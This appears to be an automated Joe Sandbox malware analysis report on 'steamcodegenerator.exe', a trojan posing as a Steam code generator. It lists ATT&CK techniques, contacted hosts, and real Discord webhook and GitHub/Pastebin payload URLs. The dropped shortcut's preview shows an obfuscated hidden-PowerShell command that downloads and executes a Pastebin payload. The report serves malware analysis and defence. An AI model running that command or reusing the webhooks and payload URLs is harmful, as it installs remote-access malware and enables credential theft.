Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation

Source: C:\Users\user\Desktop\steamcodegenerator.exe

Code function: 0_2_00007FF663549880 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF663549880

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	111 Windows Management Instrumentation	11 Registry Run Keys / Startup Folder	11 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 PowerShell	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	131 Virtualization/Sandbox Evasion	LSASS Memory	131 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	11 Registry Run Keys / Startup Folder	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	33 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
steamcodegenerator.exe	42%	ReversingLabs

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://oneget.org	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
discord.com	162.159.138.232	true	true	unknown
github.com	140.82.121.3	true	false	unknown
raw.githubusercontent.com	185.199.109.133	true	true	unknown
objects.githubusercontent.com	185.199.109.133	true	false	unknown
pastebin.com	172.67.19.24	true	true	unknown

Contacted URLs

Name	Malicious	Reputation
https://github.com/user-attachments/files/17267811/stm.txt	false	unknown
http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt	false	unknown
https://discord.com/api/webhooks/1295171900019966004/KRGDAVzqdqMZILdh_WVWyqLwT2_aVjXOXnoEnaoZ5xZY_kNOmMNm2yrdQTKMOzXSXWSI	true	unknown
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt	false	unknown
http://pastebin.com/raw/sA04Mwk2	false	unknown
https://pastebin.com/raw/sA04Mwk2	false	unknown
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm.txt	false	unknown
https://discord.com/api/webhooks/1285453590428782614/2ICVsBAPEUQjq3aCyFPX9ce6WexTwa29I1FddkY5ZuTql0_efW5EguYXiAyCvsMrX7i2	true	unknown
http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm.txt	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.1958904116.0000025E901B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1943654645.0000025E818D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1958904116.0000025E90080000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000002.00000002.1943654645.0000025E81632000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.1943654645.0000025E80232000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.1943654645.0000025E80232000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/License	powershell.exe, 00000002.00000002.1958904116.0000025E90080000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000002.00000002.1958904116.0000025E90080000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.1943654645.0000025E80232000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://objects.githubusercontent.com/github-production-repository-file-5c1aeb/867932512/17267811?X-	steamcodegenerator.exe, 00000000.00000002.3629347869.0000022AF311C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/	steamcodegenerator.exe, 00000000.00000002.3629347869.0000022AF30AB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/user-attachments/files/17267811/stm.txt$	steamcodegenerator.exe, 00000000.00000002.3629347869.0000022AF30AB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/user-attachments/files/17267811/stm.txt%pinvalid	steamcodegenerator.exe	false		unknown
https://contoso.com/	powershell.exe, 00000002.00000002.1958904116.0000025E90080000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/user-attachments/files/17267811/stm.txtnp	steamcodegenerator.exe, 00000000.00000002.3629347869.0000022AF311C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.1958904116.0000025E901B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1943654645.0000025E818D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1958904116.0000025E90080000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://objects.githubusercontent.com/	steamcodegenerator.exe, 00000000.00000002.3629347869.0000022AF311C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/user-attachments/files/17267811/stm.txta	steamcodegenerator.exe, 00000000.00000002.3629347869.0000022AF30AB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/user-attachments/files/17267811/stm.txtll	steamcodegenerator.exe, 00000000.00000002.3629347869.0000022AF305C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://oneget.orgX	powershell.exe, 00000002.00000002.1943654645.0000025E81632000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.1943654645.0000025E80001000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.1943654645.0000025E80001000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://oneget.org	powershell.exe, 00000002.00000002.1943654645.0000025E81632000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.19.24	pastebin.com	United States	13335	CLOUDFLARENETUS	true
162.159.138.232	discord.com	United States	13335	CLOUDFLARENETUS	true
185.199.109.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	true
140.82.121.3	github.com	United States	36459	GITHUBUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1534102
Start date and time:	2024-10-15 15:58:21 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	steamcodegenerator.exe
Detection:	MAL
Classification:	mal96.troj.evad.winEXE@21/17@5/4
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 100% Number of executed functions: 12 Number of non-executed functions: 73
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7628 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: steamcodegenerator.exe

Simulations

Behavior and APIs

Time	Type	Description
14:59:41	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run OneDrive File Sync "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"
14:59:49	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run OneDrive File Sync "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.19.24	cr_asm_hiddenz.ps1	Get hash	malicious	AsyncRAT, XWorm	Browse	pastebin.com/raw/sA04Mwk2
	BeginSync lnk.lnk	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	envifa.vbs	Get hash	malicious	Unknown	Browse	pastebin.com/raw/V9y5Q5vv
	sostener.vbs	Get hash	malicious	Remcos	Browse	pastebin.com/raw/V9y5Q5vv
	Invoice Payment N8977823.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Pending_Invoice_Bank_Details_XLSX.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Dadebehring PendingInvoiceBankDetails.JS.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
162.159.138.232	Lm9IJ4r9oO.exe	Get hash	malicious	Unknown	Browse
	cr_asm_hiddenz.ps1	Get hash	malicious	AsyncRAT, XWorm	Browse
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse
	cr_asm.ps1	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.20317.810.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Python.Muldrop.18.50.31694.exe	Get hash	malicious	Blank Grabber	Browse
	Exela(1).exe	Get hash	malicious	Exela Stealer, Python Stealer	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Get hash	malicious	AsyncRAT, XWorm	Browse
	http://relay.csgoze520.com/	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
discord.com	Lm9IJ4r9oO.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
	cr_asm_hiddenz.ps1	Get hash	malicious	AsyncRAT, XWorm	Browse	162.159.138.232
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
	BeginSync lnk.lnk	Get hash	malicious	Unknown	Browse	162.159.137.232
	gaber.ps1	Get hash	malicious	Unknown	Browse	162.159.137.232
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	162.159.135.232
	cr_asm.ps1	Get hash	malicious	Unknown	Browse	162.159.138.232
	Q1KaSJ8Fom.exe	Get hash	malicious	Unknown	Browse	162.159.135.232
	Q1KaSJ8Fom.exe	Get hash	malicious	Unknown	Browse	162.159.136.232
raw.githubusercontent.com	Lm9IJ4r9oO.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	cr_asm_hiddenz.ps1	Get hash	malicious	AsyncRAT, XWorm	Browse	185.199.111.133
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	185.199.109.133
	BeginSync lnk.lnk	Get hash	malicious	Unknown	Browse	185.199.111.133
	gaber.ps1	Get hash	malicious	Unknown	Browse	185.199.108.133
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	185.199.110.133
	cr_asm.ps1	Get hash	malicious	Unknown	Browse	185.199.108.133
	na.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	185.199.109.133
	na.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	185.199.108.133
objects.githubusercontent.com	SecuriteInfo.com.Win32.MalwareX-gen.17953.1345.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	SecuriteInfo.com.Variant.MSILHeracles.168781.2591.26227.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	SecuriteInfo.com.Win32.MalwareX-gen.17953.1345.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	SecuriteInfo.com.Variant.MSILHeracles.168781.2591.26227.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	https://www.newtonsoft.com/json	Get hash	malicious	Unknown	Browse	185.199.108.133
	WCA-Cooperative-Agreement.docx.exe	Get hash	malicious	Babadeda, Exela Stealer, Python Stealer, Waltuhium Grabber	Browse	185.199.111.133
	SecuriteInfo.com.PUA.Tool.InstSrv.3.16098.13705.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	SecuriteInfo.com.PUA.Tool.InstSrv.3.16098.13705.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	SecuriteInfo.com.Win64.MalwareX-gen.19388.23445.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
github.com	0CX5vBE7nr.exe	Get hash	malicious	Babadeda, KDOT TOKEN GRABBER	Browse	140.82.112.4
	0CX5vBE7nr.exe	Get hash	malicious	Babadeda, KDOT TOKEN GRABBER	Browse	140.82.121.3
	Telex-copy-pdf.jar	Get hash	malicious	Branchlock Obfuscator, STRRAT	Browse	140.82.121.4
	https://www.mycimalive.com/	Get hash	malicious	Unknown	Browse	140.82.121.4
	Payment.Telex-pdf (2).jar	Get hash	malicious	Branchlock Obfuscator, STRRAT	Browse	140.82.121.3
	Payment.Telex-pdf.jar	Get hash	malicious	Branchlock Obfuscator, STRRAT	Browse	140.82.121.4
	srSirV44HB.jar	Get hash	malicious	Branchlock Obfuscator, STRRAT	Browse	140.82.121.3
	Request For Quotation.js	Get hash	malicious	STRRAT	Browse	140.82.121.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Lm9IJ4r9oO.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
	gaber_pyld.ps1	Get hash	malicious	AsyncRAT, XWorm	Browse	172.67.19.24
	cr_asm_hiddenz.ps1	Get hash	malicious	AsyncRAT, XWorm	Browse	162.159.138.232
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
	BeginSync lnk.lnk	Get hash	malicious	Unknown	Browse	104.18.111.161
	gaber.ps1	Get hash	malicious	Unknown	Browse	162.159.137.232
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	162.159.135.232
	cr_asm.ps1	Get hash	malicious	Unknown	Browse	162.159.138.232
	HqvlYZC7Gf.exe	Get hash	malicious	Unknown	Browse	104.27.206.92
CLOUDFLARENETUS	Lm9IJ4r9oO.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
	gaber_pyld.ps1	Get hash	malicious	AsyncRAT, XWorm	Browse	172.67.19.24
	cr_asm_hiddenz.ps1	Get hash	malicious	AsyncRAT, XWorm	Browse	162.159.138.232
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
	BeginSync lnk.lnk	Get hash	malicious	Unknown	Browse	104.18.111.161
	gaber.ps1	Get hash	malicious	Unknown	Browse	162.159.137.232
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	162.159.135.232
	cr_asm.ps1	Get hash	malicious	Unknown	Browse	162.159.138.232
	HqvlYZC7Gf.exe	Get hash	malicious	Unknown	Browse	104.27.206.92
FASTLYUS	Lm9IJ4r9oO.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	cr_asm_hiddenz.ps1	Get hash	malicious	AsyncRAT, XWorm	Browse	185.199.111.133
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	185.199.109.133
	BeginSync lnk.lnk	Get hash	malicious	Unknown	Browse	185.199.111.133
	gaber.ps1	Get hash	malicious	Unknown	Browse	185.199.108.133
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	185.199.110.133
	cr_asm.ps1	Get hash	malicious	Unknown	Browse	185.199.108.133
	https://www.google.com.tw/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%E2%80%8Bkartratraining.%E2%80%8Bco%C2%ADm%2Fcheckout%2Fchart%2Fgy87uy953g6gh8h55hx98uh/d2VzdG9uLmhpbnNvbkBhcmdvZ3JvdXB1cy5jb20=	Get hash	malicious	HTMLPhisher	Browse	151.101.1.229
	na.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	185.199.109.133

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Lm9IJ4r9oO.exe	Get hash	malicious	Unknown	Browse	172.67.19.24 162.159.138.232 185.199.109.133
	gaber_pyld.ps1	Get hash	malicious	AsyncRAT, XWorm	Browse	172.67.19.24 162.159.138.232 185.199.109.133
	cr_asm_hiddenz.ps1	Get hash	malicious	AsyncRAT, XWorm	Browse	172.67.19.24 162.159.138.232 185.199.109.133
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	172.67.19.24 162.159.138.232 185.199.109.133
	BeginSync lnk.lnk	Get hash	malicious	Unknown	Browse	172.67.19.24 162.159.138.232 185.199.109.133
	gaber.ps1	Get hash	malicious	Unknown	Browse	172.67.19.24 162.159.138.232 185.199.109.133
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	172.67.19.24 162.159.138.232 185.199.109.133
	cr_asm.ps1	Get hash	malicious	Unknown	Browse	172.67.19.24 162.159.138.232 185.199.109.133
	https://www.google.com.tw/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%E2%80%8Bkartratraining.%E2%80%8Bco%C2%ADm%2Fcheckout%2Fchart%2Fgy87uy953g6gh8h55hx98uh/d2VzdG9uLmhpbnNvbkBhcmdvZ3JvdXB1cy5jb20=	Get hash	malicious	HTMLPhisher	Browse	172.67.19.24 162.159.138.232 185.199.109.133
37f463bf4616ecd445d4a1937da06e19	Lm9IJ4r9oO.exe	Get hash	malicious	Unknown	Browse	185.199.109.133 140.82.121.3
	Factura.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	185.199.109.133 140.82.121.3
	Prximos VencimientosPDF.exe	Get hash	malicious	FormBook, GuLoader	Browse	185.199.109.133 140.82.121.3
	dg_official01.exe	Get hash	malicious	GuLoader	Browse	185.199.109.133 140.82.121.3
	doc-Impostos.cmd	Get hash	malicious	Unknown	Browse	185.199.109.133 140.82.121.3
	9evHLnwull.exe	Get hash	malicious	Vidar	Browse	185.199.109.133 140.82.121.3
	Proforma_InvoicePDF.exe	Get hash	malicious	FormBook, GuLoader	Browse	185.199.109.133 140.82.121.3
	CHHE6LLjWx.exe	Get hash	malicious	Stealc, Vidar	Browse	185.199.109.133 140.82.121.3
	Request for Quotation MK FMHS.RFQ.10.24.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	185.199.109.133 140.82.121.3

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Archive, ctime=Sat May 7 04:20:03 2022, mtime=Mon Sep 9 22:58:05 2024, atime=Sat May 7 04:20:03 2022, length=69632, window=hidenormalshowminimized
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	4.527272298423835
Encrypted:	false
SSDEEP:	24:8MBsCCbRKrzcAJBkr+/4MsPsiqxlD2uxmCnBuG4aVlilzXQaR3+hab/Ia7/OB+/q:8zD6JUUPx2uxFu+LozXv3KabINBY0
MD5:	724AA21828AD912CB466E3B0A79F478B
SHA1:	41B80A72CE8C2F1F54C1E595872D7ECD63D637CD
SHA-256:	D675147502CF2CA50BC4EC9A0D95DED0A5A8861BEC3D24FCD9EDD3F4B5718E70
SHA-512:	B88218356ABF805B4263B0960DC6D0FBEC47E2135FA74839449CA860F727D54A1014062C9E7DB0652E81C635C8C0C177B47326DADAF3AE34ED058FA085F1E98C
Malicious:	true
Preview:	L..................F.... ...\|%h..a.........\|%h..a..........................E....P.O. .:i.....+00.../C:\...................V.1......Y..0.Windows.@......T,)Y................................W.i.n.d.o.w.s.....Z.1.....$Yh...System32..B......T,)Y......L_.....................!.S.y.s.t.e.m.3.2.....f.2......T.* .forfiles.exe..J......T.*)Y.....A...........t..........t..f.o.r.f.i.l.e.s...e.x.e.......V...............4.......U...........`8......Windows.C:\Windows\System32\forfiles.exe..&.....\.....\.....\.W.i.n.d.o.w.s.\.S.y.s.t.e.m.3.2.\.f.o.r.f.i.l.e.s...e.x.e.../.p. .c.:.\.w.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2. ./.m. .n.o.t.e.p.a.d...e.x.e. ./.c. .".p.o.w.e.r.s.h.e.l.l...e.x.e. .-.c.o.m.m.a.n.d. .p.o.w.e.r.s.h.e.l.l. .-.w.i.n.d.o.w.s.t.y.l.e. .h. .-.c.o.m.m.a.n.d. .'.s.a.l. .f.a.t.b.a.k.e. .c.a.l.c.;.s.a.l. .c.a.l.l.i.t. .i.E.x.;. .s.a.l. .$.e.n.v.:.o.s. .i.W.r.;. .c.a.l.l.i.T.(.W.I.N.D.O.W.S._.N.T. .p.a.s.t.e.b.i.n...c.o.m./.r.a.w./.s.A.0.4.M.w.k.2. .-.u.s.e.b.a.s.i.c.p.a.r.s.i.n.g.).'."..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\stm[1].txt

Download File

Process:	C:\Users\user\Desktop\steamcodegenerator.exe
File Type:	data
Category:	dropped
Size (bytes):	39510
Entropy (8bit):	7.693386599727056
Encrypted:	false
SSDEEP:	768:J8AiMUiDCHFlDY8E5X+2ewgdXC8pgpfcS7iKGztVuanh8w2OfJ:J8EUsCHFlDY3+2YBC8WJcS7i9u6ye
MD5:	EBE145BD87E74B4BCA45E87525372F04
SHA1:	EBE63CBA99F213980C7A94BACD580B347D740D4E
SHA-256:	A53308B29B375BBE5140B8FC3781FE0E2F0F6F06A447C0F27AC9189F20B2F4B1
SHA-512:	BFECFC20EAA3A62D58EDBFF2B5F69A75A382BFB58AFB3D3CB19FFEDC2A9E7AB3319BF714088B8586613419ECF4FCAC6C04CDA8AB75B0C86BF977F7164D05C463
Malicious:	false
